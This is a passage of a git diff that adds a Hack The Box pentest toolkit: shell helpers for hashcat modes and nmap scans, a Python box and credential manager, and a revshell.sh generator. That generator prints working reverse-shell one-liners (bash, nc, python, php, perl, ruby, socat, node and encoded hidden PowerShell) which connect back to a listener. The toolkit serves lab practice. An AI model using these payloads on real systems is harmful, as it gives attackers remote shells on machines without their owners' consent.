+ 'ports:import open ports from recon/*.xml'
+ 'help:usage'
+ )
+ if (( CURRENT == 2 )); then
+ _describe -t commands 'htbbox command' cmds
+ return
+ fi
+ case $words[2] in
+ new)
+ _alternative \
+ 'os:os:(windows linux freebsd openbsd android other)' \
+ 'difficulty:difficulty:(easy medium hard insane)' \
+ 'flags:flag:(-n -i -o -d -H -t)' ;;
+ use|info|path) _htbbox_boxes ;;
+ json) _alternative 'boxes:box:_htbbox_boxes' 'keys:key:(name slug ip os difficulty hostnames domain status flags creds ports notes)' ;;
+ set)
+ case $CURRENT in
+ 3) _values 'key' name ip os difficulty status domain ;;
+ 4) case $words[3] in
+ os) _values 'os' windows linux freebsd openbsd android other ;;
+ difficulty) _values 'difficulty' easy medium hard insane ;;
+ status) _values 'status' active user root retired paused ;;
+ esac ;;
+ esac ;;
+ flag) (( CURRENT == 3 )) && _values 'flag' user root ;;
+ ports) _files -g '*.xml' ;;
+ esac
+ [[ $words[CURRENT-1] == (-b|--box) ]] && _htbbox_boxes
+}
+
+_htbbox "$@"
diff --git a/modules/features/pentest/_helpers/hcmode.sh b/modules/features/pentest/_helpers/hcmode.sh
@@ -0,0 +1,51 @@
+# hcmode — which hashcat -m is this?
+#
+# hcmode the modes that come up on HTB / CPTS
+# hcmode kerb search every mode this hashcat knows (case-insensitive)
+# hcmode 13100 ...or look one up by number
+#
+# The search reads `hashcat -hh` itself, so it always matches the installed
+# version rather than a list that rots. Not sure what the hash is? `nth -t`.
+#
+# From IceBreaker's hcmode; the short list there was all it could search.
+
+if [ "$#" -eq 0 ]; then
+ cat <<'EOF'
+ 0 MD5
+ 100 SHA1
+ 1400 SHA2-256
+ 1700 SHA2-512
+ 500 md5crypt $1$
+ 1800 sha512crypt $6$
+ 3200 bcrypt $2*$
+ 7400 sha256crypt $5$
+ 1000 NTLM
+ 3000 LM
+ 5500 NetNTLMv1
+ 5600 NetNTLMv2 Responder / ntlmrelayx captures
+ 2100 DCC2 (mscash2) $DCC2$
+ 13100 Kerberoast RC4 $krb5tgs$23$
+ 19700 Kerberoast AES256 $krb5tgs$18$
+ 18200 AS-REP roast $krb5asrep$23$
+ 7500 Kerberos AS-REQ pre-auth
+ 13400 KeePass
+ 22000 WPA-PBKDF2-PMKID+EAPOL
+ 16500 JWT
+ 22921 RSA/DSA/EC/OpenSSH private key ($6$)
+ 13600 WinZip
+ 17200 PKZIP (compressed)
+ 9600 MS Office 2013
+ 10500 PDF 1.4 - 1.6
+EOF
+ echo " … hcmode <word|number> searches all of them" >&2
+ exit 0
+fi
+
+# Only the "Hash modes" table: the attack-mode table after it also has
+# ` 0 | Straight`, so a bare grep made `hcmode 0` answer twice.
+modes=$(hashcat -hh 2>/dev/null |
+ awk 'tolower($0) ~ /- \[ hash modes \] -/ { on = 1; next } /- \[/ { on = 0 } on && /^ +[0-9]+ \| /')
+case "$1" in
+ *[!0-9]*) printf '%s\n' "$modes" | grep -iF -- "$*" ;;
+ *) printf '%s\n' "$modes" | grep -E "^ +$1 \| " ;;
+esac || { echo "hcmode: nothing matches '$*'" >&2; exit 1; }
diff --git a/modules/features/pentest/_helpers/htbscan.sh b/modules/features/pentest/_helpers/htbscan.sh
@@ -0,0 +1,86 @@
+# htbscan — the usual nmap passes, written where htbbox looks for them.
+#
+# htbscan [target] quick: -sC -sV, top 1000 ports → recon/quick
+# htbscan full [target] -p- sweep, then -sC -sV on what is open
+# → recon/full, recon/targeted
+# htbscan ports 22,80 [target] -sC -sV on just these → recon/targeted
+# htbscan udp [target] top 100 UDP (sudo) → recon/udp
+#
+# Target: the argument, else the current htbtarget. Output: $BOXDIR/recon when
+# a box is current (htbbox use), else ./recon. Every pass is -oA, and when a
+# box is current the result is imported with `htbbox ports`, so box.json and
+# `htbbox info` show the ports without another step.
+#
+# The IceBreaker nmap-init / nmap-allports / nmap-targeted trio, folded into
+# one command; `full` runs the targeted pass itself instead of making you copy
+# the port list across.
+
+STATE="${XDG_STATE_HOME:-$HOME/.local/state}/htb"
+
+mode=quick
+case "${1:-}" in
+ -h | --help) echo "usage: htbscan [quick|full|udp|ports <list>] [target]"; exit 0 ;;
+ quick | full | udp) mode=$1; shift ;;
+ ports)
+ mode=ports
+ plist=${2:-}
+ case "$plist" in
+ '' | *[!0-9,-]*) echo "htbscan: ports wants a list like 22,80,445" >&2; exit 2 ;;
+ esac
+ shift 2
+ ;;
+esac
+
+target=${1:-}
+if [ -z "$target" ] && [ -s "$STATE/target" ]; then target=$(cat "$STATE/target"); fi
+target=${target:-${TARGET:-}}
+if [ -z "$target" ]; then
+ echo "htbscan: no target — htbscan <ip>, or htbtarget <ip> first" >&2
+ exit 2
+fi
+
+box=""
+if [ -s "$STATE/box" ] && dir=$(htbbox path 2>/dev/null); then
+ box=$(cat "$STATE/box")
+ out="$dir/recon"
+else
+ out="$PWD/recon"
+fi
+mkdir -p "$out"
+
+run() {
+ echo "» nmap $*" >&2
+ "$@"
+}
+
+ingest() {
+ if [ -n "$box" ]; then htbbox ports "$1.xml" || true; fi
+}
+
+case "$mode" in
+ quick)
+ run nmap -sC -sV -oA "$out/quick" "$target"
+ ingest "$out/quick"
+ ;;
+ full)
+ run nmap -p- --min-rate 5000 -T4 -oA "$out/full" "$target"
+ open=$(grep -oE '[0-9]+/open/tcp' "$out/full.gnmap" | cut -d/ -f1 | sort -un | paste -sd, -) || true
+ if [ -z "$open" ]; then
+ echo "htbscan: no open TCP ports found (host down? try -Pn: nmap -Pn -p- $target)" >&2
+ exit 1
+ fi
+ echo "open: $open" >&2
+ run nmap -sC -sV -p"$open" -oA "$out/targeted" "$target"
+ ingest "$out/targeted"
+ ;;
+ ports)
+ run nmap -sC -sV -p"$plist" -oA "$out/targeted" "$target"
+ ingest "$out/targeted"
+ ;;
+ udp)
+ # Root output in the user's box tree: hand the files back afterwards.
+ run sudo "$(command -v nmap)" -sU --top-ports 100 -oA "$out/udp" "$target"
+ sudo chown "$(id -u):$(id -g)" "$out"/udp.*
+ ingest "$out/udp"
+ ;;
+esac
diff --git a/modules/features/pentest/_helpers/revshell.sh b/modules/features/pentest/_helpers/revshell.sh
@@ -0,0 +1,97 @@
+# revshell — reverse shell one-liners for the box you are on.
+#
+# revshell pick a type (gum)
+# revshell bash [port] one payload; LPORT from the arg, $LPORT, or 4444
+# revshell ls the types
+# revshell all [port] every payload
+# revshell -c bash ...and copy it (wl-copy)
+#
+# LHOST is $LHOST if set, else the HTB tunnel address (htbip). The payload goes
+# to stdout and nothing else does, so `revshell bash | wl-copy` and
+# `$(revshell ps64)` work; the matching listener is printed on stderr.
+#
+# Ported from IceBreaker's scripts/revshell.sh; LHOST now comes from htbip
+# rather than a hardcoded tun0/tun1/eth0 probe.
+
+types=(bash bash-c bash-url mkfifo nc ncat busybox python php perl ruby socat node ps ps64)
+
+copy=0
+if [ "${1:-}" = "-c" ]; then copy=1; shift; fi
+
+case "${1:-}" in
+ -h | --help)
+ echo "usage: revshell [-c] [type|ls|all] [port] (LHOST: \$LHOST or htbip)"
+ exit 0
+ ;;
+ ls | list | -l)
+ printf '%s\n' "${types[@]}"
+ exit 0
+ ;;
+esac
+
+LHOST=${LHOST:-$(htbip 2>/dev/null || true)}
+if [ -z "$LHOST" ]; then
+ echo "revshell: no LHOST — bring the VPN up (htbup) or export LHOST=<ip>" >&2
+ exit 1
+fi
+LPORT=${2:-${LPORT:-4444}}
+case "$LPORT" in
+ '' | *[!0-9]*) echo "revshell: not a port: $LPORT" >&2; exit 2 ;;
+esac
+
+ps_raw() {
+ # Single-quoted on purpose: these $ are PowerShell's, not ours.
+ # shellcheck disable=SC2016
+ printf '$c=New-Object Net.Sockets.TCPClient("%s",%s);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String)+"PS "+(pwd).Path+"> ";$x=([Text.Encoding]::ASCII).GetBytes($o);$s.Write($x,0,$x.Length);$s.Flush()};$c.Close()' "$LHOST" "$LPORT"
+}
+
+payload() {
+ local H=$LHOST P=$LPORT
+ case "$1" in
+ bash) echo "bash -i >& /dev/tcp/$H/$P 0>&1" ;;
+ bash-c) echo "bash -c 'bash -i >& /dev/tcp/$H/$P 0>&1'" ;;
+ bash-url) printf '%s' "bash -c 'bash -i >& /dev/tcp/$H/$P 0>&1'" | jq -sRr @uri ;;
+ mkfifo) echo "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $H $P >/tmp/f" ;;
+ nc) echo "nc -e /bin/sh $H $P" ;;
+ ncat) echo "ncat $H $P -e /bin/sh" ;;
+ busybox) echo "busybox nc $H $P -e /bin/sh" ;;
+ python) echo "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"$H\",$P));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")'" ;;
+ php) echo "php -r '\$s=fsockopen(\"$H\",$P);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" ;;
+ perl) echo "perl -e 'use Socket;\$i=\"$H\";\$p=$P;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" ;;
+ ruby) echo "ruby -rsocket -e'f=TCPSocket.open(\"$H\",$P).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" ;;
+ socat) echo "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$H:$P" ;;
+ node) echo "node -e 'sh=require(\"child_process\").spawn(\"/bin/sh\");c=require(\"net\").connect($P,\"$H\",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'" ;;
+ ps) printf 'powershell -nop -c "%s"\n' "$(ps_raw)" ;;
+ ps64) printf 'powershell -nop -w hidden -enc %s\n' "$(ps_raw | iconv -f UTF-8 -t UTF-16LE | base64 -w0)" ;;
+ *) echo "revshell: unknown type '$1' (revshell ls)" >&2; return 2 ;;
+ esac
+}
+
+listener() {
+ case "$1" in
+ socat) echo "listen: socat file:\$(tty),raw,echo=0 tcp-listen:$LPORT" >&2 ;;
+ python) echo "listen: nc -lvnp $LPORT (already a pty — stty raw -echo; fg after ^Z)" >&2 ;;
+ *) echo "listen: rlwrap -cAr nc -lvnp $LPORT" >&2 ;;
+ esac
+}
+
+type=${1:-}
+if [ -z "$type" ]; then
+ type=$(printf '%s\n' "${types[@]}" | gum choose --header "revshell → $LHOST:$LPORT") || exit 130
+fi
+
+if [ "$type" = all ]; then
+ for t in "${types[@]}"; do
+ printf '# %s\n' "$t"
+ payload "$t"
+ done
+ listener nc
+ exit 0
+fi
+
+out=$(payload "$type") || exit $?
+printf '%s\n' "$out"
+listener "$type"
+if [ "$copy" = 1 ]; then
+ printf '%s' "$out" | wl-copy && echo "copied." >&2
+fi
diff --git a/modules/features/pentest/_htbbox.py b/modules/features/pentest/_htbbox.py
@@ -0,0 +1,766 @@
+"""htbbox -- one directory and one box.json per HTB machine.
+
+ htbbox new Sauna 10.10.10.175 windows easy positional, any order
+ htbbox new Sauna 10.10.10.175 win easy sauna.htb dc01.sauna.htb
+ htbbox new prompt for everything
+ htbbox use sauna switch box (+ $TARGET, /etc/hosts)
+ htbbox ls | info | path | json look around
+ htbbox set ip 10.10.10.176 change a field
+ htbbox host dc01.sauna.htb add hostnames (-> /etc/hosts)
+ htbbox cred fsmith 'Thestrokes23' kerberoast record a credential
+ htbbox flag user 3f4e... record a flag (status -> user/root)
+ htbbox note "WinRM open, fsmith in Remote Mgmt" timestamped note
+ htbbox ports import open ports from recon/*.xml
+
+Every subcommand that acts on a box takes `-b <box>`; without it, the current
+box ($BOX, set by `new`/`use`) is used.
+
+box.json is the single source of truth for a box. Other tools read it with jq
+(`htbbox json ip`, `jq .creds "$BOXDIR/box.json"`). writeup.md is rendered once
+from the vault's Templater template (or a built-in skeleton) and never
+rewritten afterwards -- it is prose you own.
+
+Stdlib only. Nix wraps this with gum on PATH (boxes.nix); without gum the
+prompts fall back to input().
+"""
+
+import datetime as dt
+import ipaddress
+import json
+import os
+import re
+import shutil
+import subprocess
+import sys
+import xml.etree.ElementTree as ET
+
+SCHEMA = 2
+STATE = os.path.join(
+ os.environ.get("XDG_STATE_HOME") or os.path.expanduser("~/.local/state"), "htb"
+)
+ROOT = os.environ.get("HTB_ROOT") or os.path.expanduser("~/htb")
+VAULT = os.environ.get("NETRUNNER_VAULT") or os.path.expanduser("~/git/NetrunnerVault")
+TEMPLATE = os.path.join(VAULT, "00Meta/Templates/daemon-sec-htb-post.md")
+SUBDIRS = ["recon", "enum", "creds", "loot", "exploit", "serve", "casts"]
+
+DIFFICULTIES = ["easy", "medium", "hard", "insane"]
+# alias -> canonical display form (the website's frontmatter reads the latter)
+OSES = {
+ "windows": "Windows", "win": "Windows",
+ "linux": "Linux", "lin": "Linux",
+ "freebsd": "FreeBSD", "bsd": "FreeBSD",
+ "openbsd": "OpenBSD",
+ "android": "Android",
+ "other": "Other",
+}
+OS_CHOICES = ["windows", "linux", "freebsd", "openbsd", "android", "other"]
+STATUSES = ["active", "user", "root", "retired", "paused"]
+SETTABLE = ["name", "ip", "os", "difficulty", "status", "domain", "notes_url"]
+
+USAGE = """\
+usage: htbbox <command> [args] [-b box]
+
+ new [name] [ip] [os] [difficulty] [host...] scaffold a box (any order; prompts for the rest)
+ -n name -i ip -o os -d difficulty -H host (flags, if you prefer)
+ use <box> make <box> current: $BOX, $TARGET, /etc/hosts
+ ls all boxes, newest first (* = current)
+ info [box] the box card: target, flags, creds, ports, notes
+ path [box] the directory (or just: cd $BOXDIR)
+ json [box] [key] raw box.json, or one key (dotted: flags.user)
+ set <key> <value> key: name ip os difficulty status domain
+ host <name...> add hostnames; re-points /etc/hosts if current
+ cred [user secret [note...]] add a credential, or list them
+ flag <user|root> <value> record a flag; status follows
+ note [text...] add a timestamped note, or list them
+ ports [file.xml] import open ports from the newest recon/*.xml
+
+ os: windows linux freebsd openbsd android other (win, lin ok)
+ difficulty: easy medium hard insane
+"""
+
+
+# ── output ──────────────────────────────────────────────────────────────────
+
+def _color_on(stream):
+ return stream.isatty() and "NO_COLOR" not in os.environ
+
+
+def paint(text, code, stream=sys.stdout):
+ return f"\033[{code}m{text}\033[0m" if _color_on(stream) else text
+
+
+def die(msg, code=2):
+ print(f"htbbox: {msg}", file=sys.stderr)
+ sys.exit(code)
+
+
+def info(msg):
+ print(msg, file=sys.stderr)
+
+
+# ── validation ──────────────────────────────────────────────────────────────
+
+def is_ipv4(s):
+ try:
+ return isinstance(ipaddress.ip_address(s), ipaddress.IPv4Address)
+ except ValueError:
+ return False
+
+
+HOST_RE = re.compile(r"^(?=.{1,253}$)[A-Za-z0-9]([A-Za-z0-9-]*[A-Za-z0-9])?(\.[A-Za-z0-9]([A-Za-z0-9-]*[A-Za-z0-9])?)+$")
+
+
+def is_hostname(s):
+ return bool(HOST_RE.match(s)) and not is_ipv4(s)
+
+
+def norm_os(s):
+ v = OSES.get(s.lower())
+ if not v:
+ die(f"os must be one of {', '.join(OS_CHOICES)} (got: {s})")
+ return v
+
+
+def norm_difficulty(s):
+ if s.lower() not in DIFFICULTIES:
+ die(f"difficulty must be easy, medium, hard or insane (got: {s})")
+ return s.lower()
+
+
+def norm_ip(s):
+ if s and not is_ipv4(s):
+ die(f"not an IPv4 address: {s}")
+ return s
+
+
+def slugify(s):
+ return re.sub(r"[^a-z0-9]+", "-", s.lower()).strip("-")
+
+
+def now():
+ return dt.datetime.now().replace(microsecond=0).isoformat()
+
+
+# ── state ───────────────────────────────────────────────────────────────────
+
+def current():
+ try:
+ with open(os.path.join(STATE, "box")) as fh:
+ return fh.read().strip() or None
+ except OSError:
+ return None
+
+
+def set_current(box):
+ os.makedirs(STATE, exist_ok=True)
+ with open(os.path.join(STATE, "box"), "w") as fh:
+ fh.write(box + "\n")
+
+
+def boxdir(box):
+ return os.path.join(ROOT, box)
+
+
+def resolve(box):
+ """Box name -> directory name, or die with the command that fixes it."""
+ box = box or current()
+ if not box:
+ die("no box given and none current -- htbbox new, or htbbox use <box>")
+ if box.startswith("htb-"):
+ box = box[4:]
+ if not re.match(r"^[a-z0-9][a-z0-9-]*$", box):
+ box = slugify(box)
+ if not os.path.isdir(boxdir(box)):
+ die(f"no such box: {box} (htbbox ls)")
+ return box
+
+
+def load(box):
+ path = os.path.join(boxdir(box), "box.json")
+ try:
+ with open(path) as fh:
+ data = json.load(fh)
+ except FileNotFoundError:
+ data = {"name": box, "slug": f"htb-{box}"}
+ except json.JSONDecodeError as e:
+ die(f"{path} is not valid JSON ({e}) -- fix it by hand", 1)
+ # Upgrade older manifests in place: missing keys get defaults.
+ defaults = {
+ "ip": "", "os": "Other", "difficulty": "", "hostnames": [], "domain": "",
+ "platform": "HTB-Labs", "status": "active", "created": dt.date.today().isoformat(),
+ "updated": now(), "flags": {"user": None, "root": None},
+ "creds": [], "ports": [], "notes": [], "tags": [],
+ }
+ for k, v in defaults.items():
+ data.setdefault(k, v)
+ data["schema"] = SCHEMA
+ return data
+
+
+def save(box, data):
+ data["updated"] = now()
+ path = os.path.join(boxdir(box), "box.json")
+ tmp = path + ".tmp"
+ with open(tmp, "w") as fh:
+ json.dump(data, fh, indent=2)
+ fh.write("\n")
+ os.replace(tmp, path)
+
+
+def point_target(data):
+ """Point $TARGET (and /etc/hosts, when there are names) at this box."""
+ if not data.get("ip"):
+ return
+ exe = "/run/current-system/sw/bin/htbtarget"
+ if not os.access(exe, os.X_OK):
+ exe = shutil.which("htbtarget")
+ if not exe:
+ info("htbbox: htbtarget not found -- $TARGET not set")
+ return
+ r = subprocess.run([exe, data["ip"], *data.get("hostnames", [])],
+ stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)
+ if r.returncode != 0:
+ info(r.stderr.rstrip() or "htbbox: htbtarget failed")
+
+
+# ── prompts ─────────────────────────────────────────────────────────────────
+
+def interactive():
+ return sys.stdin.isatty() and sys.stderr.isatty()
+
+
+def ask(prompt, placeholder=""):
+ if shutil.which("gum"):
+ r = subprocess.run(["gum", "input", "--prompt", f"{prompt} > ", "--placeholder", placeholder],
+ stdout=subprocess.PIPE, text=True)
+ if r.returncode != 0:
+ sys.exit(1)
+ return r.stdout.strip()
+ return input(f"{prompt} [{placeholder}]: ").strip()
+
+
+def choose(header, options):
+ if shutil.which("gum"):
+ r = subprocess.run(["gum", "choose", "--header", header, *options],
+ stdout=subprocess.PIPE, text=True)
+ if r.returncode != 0:
+ sys.exit(1)
+ return r.stdout.strip()
+ while True:
+ v = input(f"{header} ({'/'.join(options)}): ").strip().lower()
+ if v in options or v in OSES:
+ return v
+
+
+# ── argument helpers ────────────────────────────────────────────────────────
+
+def pop_box(args):
+ """Remove `-b X` / `--box X` from anywhere in args; return (box, rest)."""
+ box, rest, it = None, [], iter(args)
+ for a in it:
+ if a in ("-b", "--box"):
+ box = next(it, None) or die("-b needs a box name")
+ elif a.startswith("--box="):
+ box = a.split("=", 1)[1]
+ else:
+ rest.append(a)
+ return box, rest
+
+
+# ── commands ────────────────────────────────────────────────────────────────
+
+def cmd_new(args):
+ name = ip = os_ = diff = None
+ hosts, tags = [], []
+ it = iter(args)
+ for a in it:
+ flagval = lambda: next(it, None) or die(f"{a} needs a value") # noqa: E731
+ if a in ("-n", "--name"):
+ name = flagval()
+ elif a in ("-i", "--ip"):
+ ip = flagval()
+ elif a in ("-o", "--os"):
+ os_ = flagval()
+ elif a in ("-d", "--difficulty"):
+ diff = flagval()
+ elif a in ("-H", "--host"):
+ hosts.append(flagval())
+ elif a in ("-t", "--tag"):
+ tags.append(flagval())
+ elif a in ("-h", "--help"):
+ print(USAGE, end="")
+ return
+ elif a.startswith("-"):
+ die(f"unknown option: {a}")
+ # Positional: classify by shape, so the order does not matter.
+ elif is_ipv4(a) and not ip:
+ ip = a
+ elif a.lower() in DIFFICULTIES and not diff:
+ diff = a
+ elif a.lower() in OSES and not os_:
+ os_ = a
+ elif is_hostname(a):
+ hosts.append(a)
+ elif not name:
+ name = a
+ else:
+ die(f"don't know what '{a}' is (name already '{name}'). Use -n/-i/-o/-d to be explicit.")
+
+ # Ask for what is missing -- only on a terminal, so scripts fail fast.
+ tty = interactive()
+ if not name:
+ name = ask("machine name", "Sauna") if tty else None
+ if not name:
+ die("a machine name is required\n" + USAGE)
+ if ip is None and tty:
+ ip = ask("target ip", "10.10.10.175 (blank: later)")
+ if not diff:
+ diff = choose("difficulty", DIFFICULTIES) if tty else die("difficulty is required (easy|medium|hard|insane)")
+ if not os_:
+ os_ = choose("operating system", OS_CHOICES) if tty else die("os is required (windows|linux|...)")
+
+ ip = norm_ip(ip or "")
+ diff = norm_difficulty(diff)
+ os_ = norm_os(os_)
+ for h in hosts:
+ if not is_hostname(h):
+ die(f"not a hostname: {h}")
+ box = slugify(name)
+ if not box:
+ die(f"name has no usable characters: {name}")
+
+ d = boxdir(box)
+ existed = os.path.exists(os.path.join(d, "box.json"))
+ for sub in SUBDIRS:
+ os.makedirs(os.path.join(d, sub), exist_ok=True)
+
+ # Re-running `new` on a box updates the fields given and keeps everything
+ # else (creds, flags, notes) -- it never starts the manifest over.
+ data = load(box)
+ data.update({"name": name, "slug": f"htb-{box}", "os": os_, "difficulty": diff})
+ if ip:
+ data["ip"] = ip
+ data["hostnames"] = sorted(set(data["hostnames"]) | set(hosts), key=len, reverse=True)
+ if hosts and not data["domain"]:
+ data["domain"] = guess_domain(data["hostnames"])
+ data["tags"] = sorted(set(data["tags"]) | set(tags))
+ save(box, data)
+ render_writeup(d, data)
+
+ set_current(box)
+ point_target(data)
+ info(paint(f"{'updated' if existed else 'new box'} {name}", "1;35", sys.stderr)
+ + f" {data['ip'] or '(no ip)'} {os_} {diff}"
+ + (f" {' '.join(data['hostnames'])}" if data["hostnames"] else ""))
+ info(paint(" cd $BOXDIR · htbbox info · htbpaths", "2", sys.stderr))
+ print(d)
+
+
+def guess_domain(hosts):
+ # Shortest name with exactly one dot is usually the AD domain (sequel.htb).
+ two = [h for h in hosts if h.count(".") == 1]
+ return min(two, key=len) if two else ""
+
+
+def cmd_use(args):
+ box, rest = pop_box(args)
+ box = resolve(box or (rest[0] if rest else None))
+ data = load(box)
+ set_current(box)
+ point_target(data)
+ info(f"current box: {data['name']} {data['ip'] or '(no ip)'}")
+ print(boxdir(box))
+
+
+def cmd_ls(_args):
+ if not os.path.isdir(ROOT):
+ print("no boxes yet -- htbbox new")
+ return
+ cur = current()
+ entries = []
+ for b in os.listdir(ROOT):
+ d = boxdir(b)
+ if not os.path.isdir(d):
+ continue
+ j = os.path.join(d, "box.json")
+ entries.append((os.path.getmtime(j if os.path.exists(j) else d), b))
+ if not entries:
+ print("no boxes yet -- htbbox new")
+ return
+ rows = []
+ for _, b in sorted(entries, reverse=True):
+ if os.path.exists(os.path.join(boxdir(b), "box.json")):
+ x = load(b)
+ rows.append(("*" if b == cur else " ", b, x["ip"] or "-", x["os"], x["difficulty"] or "-",
+ x["status"], x["created"]))
+ else:
+ rows.append(("*" if b == cur else " ", b, "(no manifest)", "", "", "", ""))
+ head = ("", "BOX", "IP", "OS", "DIFF", "STATUS", "CREATED")
+ widths = [max(len(r[i]) for r in rows + [head]) for i in range(len(head))]
+ fmt = lambda r: " ".join(c.ljust(w) for c, w in zip(r, widths)).rstrip() # noqa: E731
+ out = [paint(fmt(head), "2")]
+ for r in rows:
+ line = fmt(r)
+ out.append(paint(line, "1;35") if r[0] == "*" else line)
+ print("\n".join(out))
+
+
+def cmd_info(args):
+ box, rest = pop_box(args)
+ box = resolve(box or (rest[0] if rest else None))
+ x = load(box)
+ d = boxdir(box)
+ k = lambda s: paint(f"{s:<11}", "2") # noqa: E731
+ flag = lambda f: paint("✓ " + (f.get("at", "")[:16]), "32") if f else paint("·", "2") # noqa: E731
+ lines = [
+ paint(f"{x['name']}", "1;35") + paint(f" {x['slug']}" + (" (current)" if box == current() else ""), "2"),
+ f"{k('ip')}{x['ip'] or '-'}",
+ f"{k('os')}{x['os']}",
+ f"{k('difficulty')}{x['difficulty'] or '-'}",
+ f"{k('status')}{x['status']}",
+ ]
+ if x["domain"]:
+ lines.append(f"{k('domain')}{x['domain']}")
+ if x["hostnames"]:
+ lines.append(f"{k('hostnames')}{' '.join(x['hostnames'])}")
+ lines.append(f"{k('flags')}user {flag(x['flags'].get('user'))} root {flag(x['flags'].get('root'))}")
+ lines.append(f"{k('created')}{x['created']} updated {x['updated'][:16]}")
+ lines.append(f"{k('path')}{d}")
+ if x["ports"]:
+ lines.append("")
+ lines.append(paint("ports", "1"))
+ for p in x["ports"]:
+ svc = " ".join(s for s in (p.get("service"), p.get("product"), p.get("version")) if s)
+ lines.append(f" {str(p['port']) + '/' + p.get('proto', 'tcp'):<10} {svc}")
+ if x["creds"]:
+ lines.append("")
+ lines.append(paint("creds", "1"))
+ for c in x["creds"]:
+ lines.append(f" {c['user']:<20} {c['secret']:<28} {paint(c.get('note', ''), '2')}")
+ if x["notes"]:
+ lines.append("")
+ lines.append(paint("notes", "1"))
+ for n in x["notes"][-8:]:
+ lines.append(f" {paint(n['at'][5:16], '2')} {n['text']}")
+ if len(x["notes"]) > 8:
+ lines.append(paint(f" … {len(x['notes']) - 8} older (htbbox note)", "2"))
+ lines.append("")
+ counts = " ".join(f"{s} {len(os.listdir(os.path.join(d, s))) if os.path.isdir(os.path.join(d, s)) else 0}"
+ for s in SUBDIRS)
+ lines.append(paint(counts, "2"))
+ print("\n".join(lines))
+
+
+def cmd_path(args):
+ box, rest = pop_box(args)
+ print(boxdir(resolve(box or (rest[0] if rest else None))))
+
+
+def cmd_json(args):
+ box, rest = pop_box(args)
+ # `htbbox json ip` (key on the current box) vs `htbbox json sauna`.
+ key = None
+ if rest and not box and os.path.isdir(boxdir(slugify(rest[0]))) and rest[0] not in load_keys():
+ box, rest = rest[0], rest[1:]
+ if rest:
+ key = rest[0]
+ x = load(resolve(box))
+ if key:
+ for part in key.split("."):
+ x = x.get(part) if isinstance(x, dict) else None
+ if isinstance(x, (dict, list)):
+ print(json.dumps(x, indent=2))
+ elif x is not None:
+ print(x)
+ return
+ print(json.dumps(x, indent=2))
+
+
+def load_keys():
+ return {"name", "slug", "ip", "os", "difficulty", "hostnames", "domain", "platform", "status",
+ "created", "updated", "flags", "creds", "ports", "notes", "tags", "schema"}
+
+
+def cmd_set(args):
+ box, rest = pop_box(args)
+ if len(rest) < 2:
+ die(f"usage: htbbox set <key> <value> keys: {' '.join(SETTABLE)}")
+ key, value = rest[0], " ".join(rest[1:])
+ box = resolve(box)
+ x = load(box)
+ if key == "ip":
+ value = norm_ip(value)
+ elif key == "os":
+ value = norm_os(value)
+ elif key == "difficulty":
+ value = norm_difficulty(value)
+ elif key == "status" and value not in STATUSES:
+ die(f"status must be one of {', '.join(STATUSES)}")
+ elif key not in SETTABLE:
+ die(f"can't set '{key}' -- settable: {' '.join(SETTABLE)} (or edit box.json)")
+ x[key] = value
+ save(box, x)
+ if key == "ip" and box == current():
+ point_target(x)
+ info(f"{x['name']}: {key} = {value}")
+
+
+def cmd_host(args):
+ box, rest = pop_box(args)
+ if not rest:
+ die("usage: htbbox host <name...>")
+ for h in rest:
+ if not is_hostname(h):
+ die(f"not a hostname: {h}")
+ box = resolve(box)
+ x = load(box)
+ x["hostnames"] = sorted(set(x["hostnames"]) | set(rest), key=len, reverse=True)
+ if not x["domain"]:
+ x["domain"] = guess_domain(x["hostnames"])
+ save(box, x)
+ if box == current():
+ point_target(x)
+ info(f"{x['name']}: hostnames {' '.join(x['hostnames'])}")
+
+
+def cmd_cred(args):
+ box, rest = pop_box(args)
+ box = resolve(box)
+ x = load(box)
+ if not rest:
+ if not x["creds"]:
+ print("no creds yet -- htbbox cred <user> <secret> [note]")
+ for c in x["creds"]:
+ print(f"{c['user']}\t{c['secret']}\t{c.get('note', '')}")
+ return
+ if len(rest) < 2:
+ die("usage: htbbox cred <user> <secret> [note...]")
+ user, secret, note = rest[0], rest[1], " ".join(rest[2:])
+ kind = "hash" if re.fullmatch(r"[0-9a-fA-F]{32}(:[0-9a-fA-F]{32})?", secret) else "password"
+ x["creds"].append({"user": user, "secret": secret, "type": kind, "note": note, "at": now()})
+ save(box, x)
+ # Keep a plain user/pass list beside it, for nxc/hydra -U/-P style use.
+ with open(os.path.join(boxdir(box), "creds", "creds.txt"), "a") as fh:
+ fh.write(f"{user}:{secret}\n")
+ info(f"{x['name']}: cred {user} ({kind}) -- {len(x['creds'])} total")
+
+
+def cmd_flag(args):
+ box, rest = pop_box(args)
+ if len(rest) != 2 or rest[0] not in ("user", "root"):
+ die("usage: htbbox flag <user|root> <value>")
+ which, value = rest
+ if not re.fullmatch(r"[0-9a-fA-F]{32}", value):
+ info("htbbox: note -- that is not a 32-char hex flag; saved anyway")
+ box = resolve(box)
+ x = load(box)
+ x["flags"][which] = {"value": value, "at": now()}
+ if which == "root" or x["status"] == "active":
+ x["status"] = which
+ save(box, x)
+ info(paint(f"{x['name']}: {which} flag recorded", "1;32", sys.stderr))
+
+
+def cmd_note(args):
+ box, rest = pop_box(args)
+ box = resolve(box)
+ x = load(box)
+ if not rest:
+ for n in x["notes"]:
+ print(f"{n['at'][:16]} {n['text']}")
+ if not x["notes"]:
+ print("no notes yet -- htbbox note <text>")
+ return
+ x["notes"].append({"at": now(), "text": " ".join(rest)})
+ save(box, x)
+ info(f"{x['name']}: note added ({len(x['notes'])})")
+
+
+def cmd_ports(args):
+ box, rest = pop_box(args)
+ box = resolve(box)
